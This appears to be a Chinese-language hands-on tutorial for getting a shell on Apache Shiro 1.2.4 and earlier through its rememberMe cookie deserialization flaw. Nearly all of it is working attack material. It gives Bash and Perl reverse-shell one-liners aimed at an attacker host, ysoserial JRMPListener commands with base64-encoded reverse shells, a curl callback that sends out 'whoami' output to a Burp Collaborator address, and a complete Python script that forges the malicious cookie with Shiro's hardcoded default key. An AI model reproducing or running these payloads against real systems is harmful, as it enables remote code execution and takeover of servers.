【實戰】Apache shiro<=1.2.4 Getshell

方法一

利用JRMPClient

反彈shell方式

Bash：

bash -i >& /dev/tcp/attackIP/7777 0>&1

/bin/bash -i > /dev/tcp/attackIP/7777 0<&1 2>&1

0<&196;exec 196<>/dev/tcp/attackIP/7777; sh <&196 >&196 2>&196

Perl：

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackIP:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

另外還需要通過http://www.jackson-t.ca/runtime-exec-payloads.html進行編碼

1、vps執行

java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "bash -c {echo,YmFzaCAgLWkgPiAvZGV2RjcC8xNTAuMTA5LjIxLjg5Lzc3NzcgMDmMSAyPiYx}|{base64,-d}|{bash,-i}"

2、vps開啟監聽

nc -lvvp 7777       

3、腳本生成payload

python shiro_exp.py attackIP:1099

4、發送payload

最后將payload放到http請求的cookie中，提交到服務端

5、執行成功后vps就會反彈一個shell

方法二

1、Burp開啟Collaborator client

復制地址，如

uxvlrccmyjkksr7ys3cckj3o9ff53u.burpcollaborator.net

2、攻擊者服務器VPS開啟監聽

java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "curl http://uxvlrccmyjkksr7ys3cckj3o9ff53u.burpcollaborator.net/`whoami`"

3、使用POC生成指向VPS JRMP Listener 服務1099端口的payload

python shiro_exp.py "attackIP:1099"

4、查看Collaborator client結果

方法三

利用CommonsBeanutils1、CommonsCollection1或者Jdk7u21

Python shiro_exp.py "bash -c {echo,YmFzaCAgLWkgPiAvZGV2L3RjcC8xNTAuMTA5LjIxLjg5Lzc3NzcgMDwmMSAyPiYx}|{base64,-d}|{bash,-i}"

vps監聽nc -lvvp 7777

附shiro_exp.py

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

注：需要下載ysoserial-0.0.6-SNAPSHOT-all.jar，github上搜一下。
